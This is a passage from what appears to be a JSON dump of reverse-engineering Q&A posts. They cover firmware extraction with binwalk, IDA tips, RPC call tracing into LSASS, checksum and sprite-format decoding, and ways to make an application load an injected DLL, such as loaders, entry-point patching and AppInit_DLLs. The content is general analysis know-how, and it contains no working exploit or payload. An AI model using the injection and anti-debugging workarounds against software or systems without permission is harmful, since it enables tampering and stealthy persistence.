size\n9339847       0x8E83C7        LZMA compressed data, properties: 0x5D, dictionary size: 524288 bytes, missing uncompressed size\n9339990       0x8E8456        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9340503       0x8E8657        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9921653       0x976475        eCos RTOS string reference: \"ECOScheme Version. COP1 (Version 1.6 or greater) supported.\"\n9924189       0x976E5D        eCos RTOS string reference: \"ECOScheme Version. Version 1.6 or greater supported.\"\n9974124       0x98316C        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 10835 bytes\n10064980      0x999454        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n10079707      0x99CDDB        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n10171624      0x9B34E8        eCos RTOS string reference: \"eCost\"\n11268739      0xABF283        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n11269511      0xABF587        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n12395860      0xBD2554        XML document, version: \"1.0\"\n12747285      0xC28215        Copyright string: \" (C) 2010. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.\"\n12747445      0xC282B5        Copyright string: \" (C) 2009. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.\"\n12758672      0xC2AE90        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n
\n", "Title": "Extract files from a bin firmware", "Tags": "|binary-analysis|embedded|", "Answer": "

You can use the -D option to dd out sections based on signature.

\n\n

For example, to extract out the ELF parts, do:

\n\n
binwalk -D \"elf 32-bit lsb shared object\":.so image.bin\n
\n\n

Note the lowercase signature string.

\n\n

You can specify more than one instance of -D.

\n\n

See the binwalk wiki for more details:\nhttps://github.com/devttys0/binwalk/wiki

\n" }, { "Id": "8068", "CreationDate": "2015-01-20T20:26:30.417", "Body": "

Everyone knows the state of IDA's documentation... There is a bit of info in idc.idc and the SDK headers, there's Chris Eagle's book (which predates quite a few advances in IDA), and there's the occasional juicy tidbit in the blogs of Ilfak, Igorsk, Daniele and the others.

\n\n

But by and large there's mostly Google, reversing IDA.WLL, and copious experimentation. Which means that it's often much slower going than we would like, and quite often things require a lot more effort than necessary because we're unaware of some trick, twist or workaround that somebody else has already discovered.

\n\n

The perfect solution would be a community wiki. So, is there a wiki for all things IDA?

\n\n

If so then all serious spelunkers needs to know about it: it ought to be linked from here, from IDA's home site and major RCE gathering places...

\n\n

If there's no wiki yet then we ought to do something about it (like badgering Ilfak).

\n", "Title": "A wiki for IDA?", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

I just created a wikia for IDA Pro.

\n\n

Do add your contributions there! :)

\n\n

I'll also be adding some info every now and then.\nIt is a community wiki, so please do no evil! =P

\n" }, { "Id": "8069", "CreationDate": "2015-01-20T20:42:22.757", "Body": "

Let us suppose that I have a program that perform some well known cryptographic routines like AES, RSA or whatever. I would like to detect when such algorithms run, on which key material and possibly on which input and output data streams.

\n\n

The idea is to run the whole program inside a virtual machine and then instrument the virtual machine itself to study the behavior of the program. For example, I might implement heuristics to check whether AES S-box is computed (when you see certain bytes and some clock cycles later the corresponding bytes in S-box show up in some register, then you might have a clue that S-box is being run). Tracing down how those bytes were moved across memory before might lead me to where the encryption key is stored.

\n\n

The point of doing all of this in a virtual machine is that I can make up the environment so that the program is unable to detect that I am trying to spy on him. This way I would like to avoid all the mess with protectors and whatever and just see how it behaves.

\n\n

Are there already attempts at reverse engineering programs in a similar way? By \"similar way\" I mean running the program in a virtual machine and looking how it moves data around the memory and on the registers, in order to find patterns that may help me to track down the information I am seeking.

\n\n

In case it helps, the architecture I would like to use is x86 and the practical program is the one that I described above: interception of known cryptography procedure.

\n", "Title": "Detect specific algorithms running in a virtual machine via behavior analysis", "Tags": "|x86|virtual-machines|", "Answer": "

As Guntram mentioned, the PANDA project is built to make this kind of thing possible. Essentially, it adds instrumentation points to QEMU so that you can build plugins that perform analysis on a whole system as it executes.

\n\n

One challenge is that the kinds of analyses you want to do are extremely computationally intensive, to the point where it's not really feasible to perform them while the system is actually running. To solve this in PANDA, we have record and replay. Essentially, this lets you make a recording of a whole-system execution and then replay it later with instrumentation enabled. Recording itself incurs only a small overhead, and arbitrarily expensive analyses can then be performed on the replay without altering the execution. This basic idea is explained in more detail in a paper by Chow et al., Decoupling dynamic program analysis from execution in virtual environments.

\n\n

Currently we have two papers that are relevant to the kind of RE you're looking at:

\n\n\n\n

A drawback of PANDA is that it does not, strictly speaking, use virtualization. Instead, it uses QEMU in TCG (i.e., emulation) mode. This makes it more detectable, since there are a number of bugs in QEMU's CPU emulation that are not present when using hardware virtualization. However, unless the program you're analyzing explicitly tries to detect QEMU, this is unlikely to be a problem.

\n" }, { "Id": "8078", "CreationDate": "2015-01-22T17:17:23.257", "Body": "

I usually work with two or three IDBs open at the same time which are linked between themselves (basically the main .exe, and DLLs it loads).

\n\n

However, every now and then I open different files to take a look, and my \"recently used IDBs\" quickly gets filled up and the IDBs I work with disappear.

\n\n

Is there any way I can make IDA stick those IDBs at the top of the \"recently opened files\" so I can access them easily?

\n", "Title": "Is there any way to make IDA permanently save recently used files in a list?", "Tags": "|ida|ida-plugin|", "Answer": "

Assuming you're on Windows, you could write a script that regularly restores HKEY_CURRENT_USER\\Software\\Hex-Rays\\IDA\\History.

\n\n

On Linux or Mac OS, I'm sure there's something similar than can be easily restored via a simple script.

\n" }, { "Id": "8092", "CreationDate": "2015-01-25T14:42:28.083", "Body": "

Hopper offers a GDB/LLDB Debugger Server companion to the standard program. I'm unclear on what this should / can be used for. When I run the debugger server on the same machine that I'm using I see this:

\n\n

\"enter

\n\n
\n\n

There aren't really any options or built-in help. When I open Hopper.app's debugger panel I only see the program running locally. I was initially thinking that the Remote Debugger was maybe used to offload some of the processing to another computer, but I've also tried running Hopper Debugger Server on another mac on my LAN but I don't see it come up in the list, only my local machine:

\n\n

\"enter

\n\n
\n\n

As there are no settings to specify remote connection information, I think I need to do something remotely that would specify a the address of the machine running Hopper so that it can sort of 'dial in' and then show up on the list.

\n\n

I haven't had any luck with the Hopper website, forum, FAQ.

\n\n

What am I missing?

\n\n

Can anyone give me a brief outline of how the GDB/LLDB remote debugger
\nis intended to be used (with Hopper) ?

\n", "Title": "What does Hopper's Debugger Server do?", "Tags": "|debuggers|debugging|gdb|hopper|lldb|", "Answer": "

I'm surprised nobody posted an answer, but here's what I eventually came to realize:

\n\n

A lot of times disassembling is used for taking apart potential malicious apps like viruses, worms, or malware to understand how they affect a system. There is both static and dynamic disassembly. Static disassembly poses (little) threat to your system as it is only looking through the code - however dynamic disassembly is actually running the code ( with breakpoints, etc ) - which is something you probably don't want to do on your main computer if the code is potentially malicious.

\n\n

Here's what IDA says in a tutorial about disassembling a \"hostile\" executable:

\n\n
\n

We could put a breakpoint there and let the program run. Now, before we do that, let's repeat that it is not a good idea to run untrusted code on your computer. It is much better to have a separate \"sandbox\" machine for such tests, for example using the remote debugging facilities IDA offers. Therefore, IDA displays a warning when a new file is going to be started under debugger: ignore at your own risk.

\n
\n\n

This finally made sense as an explanation for why you may want to use a remote debugger - seems so obvious now!

\n\n

I'm still not exactly sure on how to setup and/or use Hopper's remote debugger but I'm sure I'll figure that out eventually.

\n" }, { "Id": "8097", "CreationDate": "2015-01-26T19:43:48.267", "Body": "

I'm trying to reverse engineer a serial protocol of a compressor, but i've no luck calculation the checksum.

\n\n

e.g. here are some messages including the 16-bit checksum at the end of the message.

\n\n
\nff 02 ff 01 10 00 10 00 41 9e e2\nff 02 ff 01 10 00 10 00 42 9d e3\n02 fe 03 00 00 00 00 00 00 fd c1\n00 fe 02 83 01 10 00 00 00 00 6c c1\n
\n\n

By now i know following octets

\n\n
\n00  target addr\nfe  seems like a seperator\n02  own addr\n83  register addr\n01  value1 high\n10  value1 low\n00  value2 high\n00  value2 low\n00  value3 high\n00  value3 low\n6c  Checksum\nc1  Checksum\n
\n\n

I've tried to calculate the Checksum with different 16-Bit CRC's and brute-forcing with \"reveng\", but sadly i had no luck.

\n\n

Also there is no way to put own Bits into the checksum function, but i can provide additional messages.

\n\n

Can anybody help?

\n", "Title": "Reversing Checksum of serial protocol", "Tags": "|deobfuscation|decryption|cryptanalysis|", "Answer": "

The first byte is a simple checksum variant. In C:

\n\n
uint8_t firstbyte( uint8_t const *data, size_t bytes )\n{\n    uint8_t sum;\n    for (sum = 0; bytes; --bytes)\n        sum -= *data++;\n    return sum;\n}\n
\n\n

The second byte is a shift and add thing something like the BSD checksum:

\n\n
uint8_t secondbyte( uint8_t const *data, size_t bytes )\n{\n    uint8_t sum;\n    for (sum = 0; bytes; --bytes) {\n        sum = (sum << 1) | ((sum & 0x80) ? 1 : 0);\n        sum += *data++;\n    }\n    return sum;\n}\n
\n" }, { "Id": "8098", "CreationDate": "2015-01-26T21:33:33.593", "Body": "

Is there any quick/ faster way to find , any address resides in which loaded module.

\n\n

For example from stack if I have ret address of any api. I want to check from which module actually that function was get called ??

\n", "Title": "Using PyDBG how to find in which loaded module callee functions is present", "Tags": "|debuggers|debugging|python|", "Answer": "
from pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):   \n   if pydbg.first_breakpoint:\n    dbg.bp_set(dbg.func_resolve(\"user32\",\"SendMessageW\"))\n    return DBG_CONTINUE\n   retaddr = dbg.get_arg(0,dbg.context)\n   modname = dbg.addr_to_module(retaddr).szModule   \n   print \"Calling Module and Return Address %25s\\t%08x\" % (modname,retaddr)\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\npydbg.debug_event_loop(dbg)\n
\n\n

result

\n\n
Calling Module and Return Address              comctl32.dll     773f2883\nCalling Module and Return Address              comctl32.dll     773f2883\nCalling Module and Return Address                USER32.dll     7e4269ed\nCalling Module and Return Address                USER32.dll     7e4269fa\n
\n" }, { "Id": "8105", "CreationDate": "2015-01-27T16:15:26.917", "Body": "

I'm trying to reverse engineer a file that contains sprites. I want to extract the sprites out of the file. So far I've managed to find some kind of line end sequence, and with this I've been able to confirm that the sprites are in the file:

\n\n

\"monochrome

\n\n

I'm using C++ and SDL. I load the file as a series of chars, and then plot a white pixel if the char>128 and a black if the char<128. It's very crude and I don't know how to proceed. How do I find where color is stored? Or an alpha channel? Or what is in the header? Etc.

\n\n

If you know of any online resources that could be helpfull, please let me know. I'm kind of lost at where to start. These are first couple of bytes from the file I'm trying to reverse engineer, maybe this will help:

\n\n

\"hex

\n\n

The game is State of War. Its my childhoods' dream to write a remake of this game. I'm currently making a remake, but I'm using placeholder graphics. Thats why I need the sprites. I will not use it for commercial purposes.

\n\n

There are 2 kinds of sprite files. *.tsp files, and a big sprites.data and sprites.info file. I've uploaded some files here.

\n", "Title": "Reverse engineering file containing sprites", "Tags": "|binary-format|", "Answer": "

You got started well; plotting unknown data as pixels immediately showed you this is indeed graphic data, not compressed (at least the buttons aren't), and in a usable RGB order. I guess the missing RGB format was what held you back; now you know it, you can write a simple program to plot in color and show offsets and widths of the images. Armed with that information, you can inspect the unknown bytes before (and possibly after) the images, and derive their meaning.

\n\n
\n\n

General overview

\n\n

The file 001_buttons.tsp consists of a series of images, without a general file header but with a header per image.

\n\n

The first long word of this header (4 bytes, little endian format) is the size of the following data in bytes, excluding the header itself (this length may be 0). Then follow width and height as words. The next 12 bytes are 3 word-sized x,y pairs; the first pair is the center of the image. The coordinates are signed words, they wrap around at 0xFFFF/2. The other pairs still serve an unknown purpose.

\n\n

After that, you have (height) times the offset of the next image scan line in words, offset from the start by 4 (so 4+2*offset = next line).

\n\n

Each scan line pointed to by these offsets is Run-Length Encoded (RLE) compressed. Transparent runs are indicated only by the number of horizontal pixels to skip; opaque runs can be copied directly to the screen. There is no alpha transparency in these images. Each scan line fills exactly width pixels after decompressing.

\n\n

The pixel format is packed 16-bit RGB: RRRR.RGGG.GGGB.BBBB, which can be converted to 24-bit RGB in the following (not optimized) way:

\n\n
putpixel (x,y, (((val >> 8) & 0xf8)<<16) | (((val >> 3) & 0xfc)<<8) | ((val & 0x1f)<<3) );\n
\n\n

where val is simply the next word: data[c]+(data[c+1]<<8).

\n\n

\"sample

\n\n
\n\n

Run-Length Encoding format

\n\n

\"rle

\n\n

All values mentioned hereafter are word sized (2 bytes, little endian).
\nEach scan line starts with the number of commands for that line and a flag indicating whether to start with a \"skip\" or \"copy\". If the flag word after the number of commands is 0000, the line starts with a \"skip\", and if it is 0001, the line starts with a \"copy\".
\nAfter that, \"skip\" and \"copy\" commands alternate until the entire scan line is filled. Each command is the number of pixels to skip or copy; for \"copy\", the actual pixel values follow directly after it.

\n\n

All lines should be filled entirely -- if necessary, the command list ends with a number of 'empty' pixels to skip.

\n\n

\"new

\n\n
\n\n

Not all objects in sprites.data are sprites in this format. There are at least two different types:

\n\n
    \n

  1. A monochrome mask object, using the same RLE compression scheme but without pixel data -- it contains only the length of each run. This could be to draw a mask, overlay a color, or aid in pixel-perfect object selection.

    2. \n

  2. A list of signed word pairs of unknown use.

    3. \n
\n\n

Neither these objects nor the actual sprites have a recognizable identifier at the start, so you can only find out which is which by trial and error (for example: if the reported 'size' of an image is negative or larger than the entire data file, you know it cannot be an RLE-compressed image after all).

\n\n
\n\n

Sprite index file

\n\n

The index file sprite.info is obfuscated, but not by much. It has the following format:

\n\n
4 x some byte flag (all `01` in this file)\nlong  total number of objects (377, in this file)\n377 x\n      0-terminated \"filename\" (obfuscated)\n      long offset in 'sprite.data'\n      long length in 'sprite.data'\n
\n\n

The filename is obfuscated by adding the constant 10 to each character. Decoding this, you get a list of 377 items:

\n\n
__extras\\compplay.ps6                | 00000000 000000C0\n__extras\\dim1.ps6                    | 000000C0 00000BC4\n__extras\\dim2.ps6                    | 00000C84 00000EB4\n...\nunits\\tur_05_blue.ps6                | 01FAC346 00013E12\nunits\\tur_05_gren.ps6                | 01FC0158 00013E12\nunits\\turrets_shadow.ps6             | 01FD3F6A 00013C9C\n
\n\n

This is some sort of general index, as clearly not all images are listed. It must list only the first of an animated set; the 'length' is then the total length of all files in that particular set. The file extensions are a hint to their contents: files ending with .ps6 all contain at least one image (and may contain more), files ending with .msk are probably a monochrome mask and .sha possibly shadows. The .podigit files contain coordinate pairs.

\n" }, { "Id": "8116", "CreationDate": "2015-01-29T09:33:10.880", "Body": "

Hey i have a very time consuming problem, and i thought i might find someone here with better experience than mine that could help me out.

\n

I am reverse-engineering an application which at some point uses the NdrClientCall2 api to use a remote procedure of some other service (which i dont know which one that is)

\n

Now before i hear comments about not trying anything my self\nThere are some really good applications to accomplish what i want like NtTrace, Strace and roughly oSpy can achieve the same result aswell eventually.\nBut my application has some really hard anti-debugging techniques which force me to do everything manually.

\n

What eventually i want to achieve is know what procedure is being called and on what service \\ process.

\n

Here is the NdrClientCall2 Decleration by MSDN

\n
CLIENT_CALL_RETURN RPC_VAR_ENTRY NdrClientCall2(\n  __in          PMIDL_STUB_DESC pStubDescriptor,\n  __in          PFORMAT_STRING pFormat,\n  __in_out       ...\n);\n
\n

so it uses the PMIDL_STUB_DESC struct which its definition is as the following:

\n
typedef struct _MIDL_STUB_DESC {\n  void                                 *RpcInterfaceInformation;\n  void*                                (__RPC_API *pfnAllocate)(size_t);\n  void                                 (__RPC_API *pfnFree)(void*);\n  union {\n    handle_t              *pAutoHandle;\n    handle_t              *pPrimitiveHandle;\n    PGENERIC_BINDING_INFO pGenericBindingInfo;\n  } IMPLICIT_HANDLE_INFO;\n  const NDR_RUNDOWN                    *apfnNdrRundownRoutines;\n  const GENERIC_BINDING_ROUTINE_PAIR   *aGenericBindingRoutinePairs;\n  const EXPR_EVAL                      *apfnExprEval;\n  const XMIT_ROUTINE_QUINTUPLE         *aXmitQuintuple;\n  const unsigned char                  *pFormatTypes;\n  int                                  fCheckBounds;\n  unsigned long                        Version;\n  MALLOC_FREE_STRUCT                   *pMallocFreeStruct;\n  long                                 MIDLVersion;\n  const COMM_FAULT_OFFSETS             *CommFaultOffsets;\n  const USER_MARSHAL_ROUTINE_QUADRUPLE *aUserMarshalQuadruple;\n  const NDR_NOTIFY_ROUTINE             *NotifyRoutineTable;\n  ULONG_PTR                            mFlags;\n  const NDR_CS_ROUTINES                *CsRoutineTables;\n  void                                 *Reserved4;\n  ULONG_PTR                            Reserved5;\n} MIDL_STUB_DESC, *PMIDL_STUB_DESC;\n
\n

And here is how it looks like in windbg, when i put a breakpoint in the NdrClientCall2 function

\n
0:006> .echo "Arguments:"; dds esp+4 L5\nArguments:\n06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc\n06d9ece8  74cc2322 SspiCli!sspirpc__MIDL_ProcFormatString+0x17a\n06d9ecec  06d9ed00\n06d9ecf0  91640000\n06d9ecf4  91640000\n0:006> .echo "PMIDL_STUB_DESC:"; dds poi(esp+4) L20\nPMIDL_STUB_DESC:\n74cc2158  74cc2690 SspiCli!sspirpc_ServerInfo+0x24\n74cc215c  74cca1cd SspiCli!MIDL_user_allocate\n74cc2160  74cca1e6 SspiCli!MIDL_user_free\n74cc2164  74ce0590 SspiCli!SecpCheckSignatureRoutineRefCount+0x4\n74cc2168  00000000\n74cc216c  00000000\n74cc2170  00000000\n74cc2174  00000000\n74cc2178  74cc1c52 SspiCli!sspirpc__MIDL_TypeFormatString+0x2\n74cc217c  00000001\n74cc2180  00060001\n74cc2184  00000000\n74cc2188  0700022b\n74cc218c  00000000\n74cc2190  00000000\n74cc2194  00000000\n74cc2198  00000001\n74cc219c  00000000\n74cc21a0  00000000\n74cc21a4  00000000\n74cc21a8  48000000\n74cc21ac  00000000\n74cc21b0  001c0000\n74cc21b4  00000032\n74cc21b8  00780008\n74cc21bc  41080646\n74cc21c0  00000000\n74cc21c4  000b0000\n74cc21c8  00020004\n74cc21cc  00080048\n74cc21d0  21500008\n74cc21d4  0008000c\n0:006> .echo "PFORMAT_STRING:"; db poi(esp+8)\nPFORMAT_STRING:\n74cc2322  00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00  .H......L.0@....\n74cc2332  ec 00 bc 00 47 13 08 47-01 00 01 00 00 00 08 00  ....G..G........\n74cc2342  00 00 14 01 0a 01 04 00-6e 00 58 01 08 00 08 00  ........n.X.....\n74cc2352  0b 00 0c 00 20 01 0a 01-10 00 f6 00 0a 01 14 00  .... ...........\n74cc2362  f6 00 48 00 18 00 08 00-48 00 1c 00 08 00 0b 00  ..H.....H.......\n74cc2372  20 00 2c 01 0b 01 24 00-a2 01 0b 00 28 00 b8 01   .,...$.....(...\n74cc2382  13 41 2c 00 a2 01 13 20-30 00 f8 01 13 41 34 00  .A,.... 0....A4.\n74cc2392  60 01 12 41 38 00 f6 00-50 21 3c 00 08 00 12 21  `..A8...P!<....!\n
\n

So how exactly do i figure out what is the remote process it is going to communicate with, or what pipe it is using to communicate?

\n

As far as i understand from the MSDN, it is supposed to call a remote procedure. if i understand that right, it means it should call a remote function as if its an exported dll function. How can i set a breakpoint there?

\n

P.S:

\n

The main reason im posing this function is because the NdrClientCall2 seems to be pretty huge.

\n", "Title": "at the rpcrt4!NdrClientCall2 function - how does it know which pipe to use in order to transfer data to another process?", "Tags": "|windbg|anti-debugging|", "Answer": "
\n

So how exactly do i figure out what is the remote process it is going\n to communicate with, or what pipe it is using to communicate?

\n
\n\n

The first step is to find the RPC client interface. This can be found via the first argument to NdrClientCall2(), named pStubDescriptor. In your question, pStubDescriptor points to SspiCli!sspirpc_StubDesc:

\n\n
\n

And here is how it looks like in windbg, when i put a breakpoint in\n the NdrClientCall2 function

\n\n
0:006> .echo \"Arguments:\"; dds esp+4 L5\nArguments:\n06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc\n
\n
\n\n

SspiCli!sspirpc_StubDesc is a MIDL_STUB_DESC, and on my computer, here are its associated values (via IDA Pro):

\n\n
struct _MIDL_STUB_DESC const sspirpc_StubDesc MIDL_STUB_DESC\n<\n    offset dword_22229B8,\n    offset SecClientAllocate(x),\n    offset MIDL_user_free(x),\n    <offset unk_22383F4>,\n    0,\n    0,\n    0,\n    0,\n    offset word_22224B2,\n    1,\n    60001h,\n    0,\n    700022Bh,\n    0,\n    0,\n    0,\n    1,\n    0,\n    0,\n    0\n>\n
\n\n

As documented on MSDN, the first field in the structure above \"points to an RPC client interface structure\". Thus, we can parse the data at that address as an RPC_CLIENT_INTERFACE struct:

\n\n
stru_22229B8    dd 44h                  ; Length\n                dd 4F32ADC8h            ; InterfaceId.SyntaxGUID.Data1\n                dw 6052h                ; InterfaceId.SyntaxGUID.Data2\n                dw 4A04h                ; InterfaceId.SyntaxGUID.Data3\n                db 87h, 1, 29h, 3Ch, 0CFh, 20h, 96h, 0F0h; InterfaceId.SyntaxGUID.Data4\n                dw 1                    ; InterfaceId.SyntaxVersion.MajorVersion\n                dw 0                    ; InterfaceId.SyntaxVersion.MinorVersion\n                dd 8A885D04h            ; TransferSyntax.SyntaxGUID.Data1\n                dw 1CEBh                ; TransferSyntax.SyntaxGUID.Data2\n                dw 11C9h                ; TransferSyntax.SyntaxGUID.Data3\n                db 9Fh, 0E8h, 8, 0, 2Bh, 10h, 48h, 60h; TransferSyntax.SyntaxGUID.Data4\n                dw 2                    ; TransferSyntax.SyntaxVersion.MajorVersion\n                dw 0                    ; TransferSyntax.SyntaxVersion.MinorVersion\n                dd offset RPC_DISPATCH_TABLE const sspirpc_DispatchTable; DispatchTable\n                dd 0                    ; RpcProtseqEndpointCount\n                dd 0                    ; RpcProtseqEndpoint\n                dd 0                    ; Reserved\n                dd offset _MIDL_SERVER_INFO_ const sspirpc_ServerInfo; InterpreterInfo\n                dd 4000000h             ; Flags\n
\n\n

From the RPC_CLIENT_INTERFACE struct above, we can extract the InterfaceId GUID: 4F32ADC8-6052-4A04-8701-293CCF2096F0

\n\n

We can now look up that interface GUID with RpcView to find the associated DLL, running process, and endpoints:

\n\n

\"Interfaces\"\n\"Process\"\n\"Endpoints\"

\n\n

To find out which specific endpoint is being used by the SSPI RPC server in the LSASS process, we can reverse engineer sspisrv.dll. In the exported function SspiSrvInitialize(), we see the following call:

\n\n
RpcServerUseProtseqEpW(L\"ncalrpc\", 0xAu, L\"lsasspirpc\", 0);\n
\n\n

To figure out which specific function is being called in sspisrv.dll, we need to look at the pFormat data passed to NdrClientCall2. In your example code above, the pFormat data is:

\n\n
00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00 ...\n
\n\n

If we parse the pFormat data as an NDR_PROC_HEADER_RPC structure, we get:

\n\n
handle_type = 0x00\nOi_flags    = 0x48\nrpc_flags   = 0x00000000\nproc_num    = 0x0006\nstack_size  = 0x004C\n
\n\n

From proc_num, we can see that this RPC call is calling the 6th RPC function in sspisrv.dll. We can use RpcView again to get the address for the 6th RPC function:

\n\n

\"Procedures\"

\n\n

And with IDA Pro, we can see the function in sspisrv.dll at address 0x7573159D:

\n\n
.text:7573159D __stdcall SspirProcessSecurityContext(x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x) proc near\n
\n\n

RpcView also shows us a decompilation of that function's prototype:

\n\n

\"Decompilation\"

\n\n

(Note that on your computer, the 6th function might not be at virtual address 0x7573159D, and furthermore, the 6th function might not be SspirProcessSecurityContext(), but this is the approach you would use nonetheless.)

\n\n

As such, we can now say the following:

\n\n\n" }, { "Id": "8120", "CreationDate": "2015-01-29T17:52:30.907", "Body": "

I've added some functionality to existing application which works through dll injection - my dll loads and patches some stuff.

\n\n

I would like it to be added to this application permanently so I don't have to inject it manually every time - I know there are some solutions such as:

\n\n
    \n
  1. Loader - another application that runs target application and then injects a dll
    2. \n
  2. Patch EP - patch entry of target application so it loads my dll before executing rest
    3. \n
  3. AppInit_DLL - making it loads to almost every process through this register entry and then checking if we are in the right one, unload otherwise
    4. \n
\n\n

But are those options most optimal? First and second requires some work (maybe there are some already existing tools of which I don't know and which allows it? so I don't have to prepare it all myself), and third seems a bit over-excessive. \nJust to expand my knowledge - what are the other options?

\n", "Title": "Making application load dll at start", "Tags": "|patching|", "Answer": "

Another program which can do what you're looking for is CFF Explorer:\n\"enter

\n" }, { "Id": "8125", "CreationDate": "2015-01-29T23:25:22.400", "Body": "

You have the IDA View and Hex View right. When on IDA View you select an instruction you can see the instruction selected in Hex View as well. However, if you select a \"data instruction\" like \"Format = dword ptr -10h\" which is a stack variable, you don't see it in the hex view. It doesn't select the bytes corresponding to the variable definition. I mean I know the variable is going to be there in memory but somewhere on the hex view should tell me \"hey allocate this stack variable\" but it doesn't.

\n\n

It's probably obvious by now, I'm a beginner in reverse engineering, I've been reading the book from http://beginners.re/ . While I do know some assembly and have been able to reverse simple things, I have these knowledge gaps I'd like to fill. Thank you!

\n", "Title": "ida pro stack variables in hex view", "Tags": "|ida|", "Answer": "

Stack variables live in the stack's address space, not in the module's address space. Thus, there's nothing that the Hex View could show you statically.

\n" }, { "Id": "8128", "CreationDate": "2015-01-30T03:16:30.673", "Body": "

I noticed that despite the imagebase for win32 executables be 0x400000, Ida Pro only starts the analysis at 0x401000. What is before that and how can I change IDA's settings to start the analysis at the imagebase? Thank you.

\n", "Title": "How can I make IDA start the analysis at imagebase?", "Tags": "|ida|memory|", "Answer": "

PE executables start with a header block that consists of a little DOS exe stub (with its own little header), a structure called IMAGE_NT_HEADERS, and a section table. A normal PE has no 32-bit/64-bit executable code there, so IDA doesn't load the header block unless you check \"manual load\".

\n\n

Relevant resources:

\n\n\n" }, { "Id": "8145", "CreationDate": "2015-02-01T21:45:43.547", "Body": "

I am trying to get the sprites from a game from 1997 called Swing (US: Marble Master). The file is called NORMAL.SET and contains a set of sprites. There is an executable named SHOWSET.EXE that displays the entire set after printing a number on each sprite.

\n\n

There are also a file called HINTERH.SWG (SWG probably stands for SWING). I was able to figure out what this file type is using TiledGGD! It is raw data without headers, has the size 640x480, 16 bpp, big endian, (A)RGB. See Screenshot below.

\n\n

\"HINTERH.SWG

\n\n

Using the same settings in TiledGGD I get a close approximation of the NORMAL.SET image. Below you find the output from SHOWSET.EXE (left), aswell as the image how TiledGGD displays it (right).

\n\n

\"NORMAL.SET

\n\n

Using a screenshot of the SHOWSET.EXE output, I was able to get close to the codec (?correct term?) used for the pixel data in the NORMAL.SET. I do believe it is based on 16-bit ARGB1555, but still different. Below you see the image extracted from the screenshot. Let's call it screenshot-sprite.

\n\n

\"Sprite

\n\n

Those are the first 192 bytes from NORMAL.SET

\n\n
47 69 62 20 6D 69 72 20 27 6E 65 20 4B 75 67 65\n6C 0A 00 1A 73 74 61 6E 64 61 72 64 00 00 00 00\n00 00 00 00 9D 4F DD 32 00 00 00 00 68 27 01 00\n14 00 01 0F 1E 00 1E 00 2C 03 00 00 03 00 00 00\n00 00 00 00 03 00 0A 00 90 08 90 08 90 08 90 08 <1,2---\n8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 03 00 0A 00\n03 00 08 00 90 08 91 08 91 08 91 08 91 08 91 08\n90 08 90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04\n03 00 08 00 03 00 06 00 91 08 91 08 B2 08 B2 08\nB2 08 B2 08 B2 08 B2 08 B2 08 91 08 90 08 8F 08\n8E 08 6D 08 6C 04 6B 04 49 04 48 04 03 00 06 00\n03 00 05 00 90 08 B2 08 B2 08 B3 08 B3 0C B3 0C\n
\n\n

Those are the first 192 bytes from the screenshot-sprite.

\n\n
42 4D 50 07 00 00 00 00 00 00 46 00 00 00 38 00\n00 00 1E 00 00 00 E2 FF FF FF 01 00 10 00 03 00\n00 00 0A 07 00 00 3B 00 00 00 3B 00 00 00 00 00\n00 00 00 00 00 00 00 7C 00 00 E0 03 00 00 1F 00\n00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 <1---\n00 00 00 00 00 00 00 00 00 00 90 08 90 08 90 08 <2---\n90 08 8F 08 8F 08 8E 08 6D 08 6C 04 6B 04 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 90 08 91 08 91 08 91 08 91 08 91 08 90 08\n90 08 8F 08 8E 08 6D 08 6C 04 6A 04 4A 04 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n
\n\n

You can see the point where the data does probably begin (arrow 1), you see a similar hex string 90 08 90 08 90 08.

\n\n

You also see that the data in the screenshot-sprite probably begins with 10 byte-pairs (arrow 2). In the NORMAL.SET you find 0A 00. Now I read about RLE and with some fantasy I could see a link between 10 byte-pairs and 0A 00 which I could translate into \"ten times a black pixel\".

\n\n

I am still confused why I see two blue sprites in the NORMAL.SET, where in the screenshot there is only one blue sphere. But that is something I would care about at a later time.

\n\n

NOTE
\nAt this point I am quite sure that I am on the right track! I think RLE decompression is the only thing missing here, besides figuring out where the data starts and what the headers are supposed to mean. Maybe they aren't even of much use to me.

\n\n

I am not sure, if I still have a question at the moment. If nobody disagrees, I would keep this here until I figured out the rest in the hopes that someday, to someone this will be helpful. I will update this as soon as I solved the riddle.

\n\n

Until the, if you got a a solution for the RLE ready, don't be shy to post ;)

\n", "Title": "Some help with sprite graphic", "Tags": "|digital-forensics|binary-format|", "Answer": "

The quick answer is:

\n\n

14 00 are the first two bytes of a sprite. The raw bitmap data starts at offset 20, in this case with 03 00 0A 00. The file is RLE encoded, 03 00 being the escape sequence and 0A 00 is telling me that 20 pixels with 00 00 (16 bpp) follow.

\n\n

With this information I was able to reverse engineer the sprite group.

\n" }, { "Id": "8146", "CreationDate": "2015-02-01T22:46:41.923", "Body": "

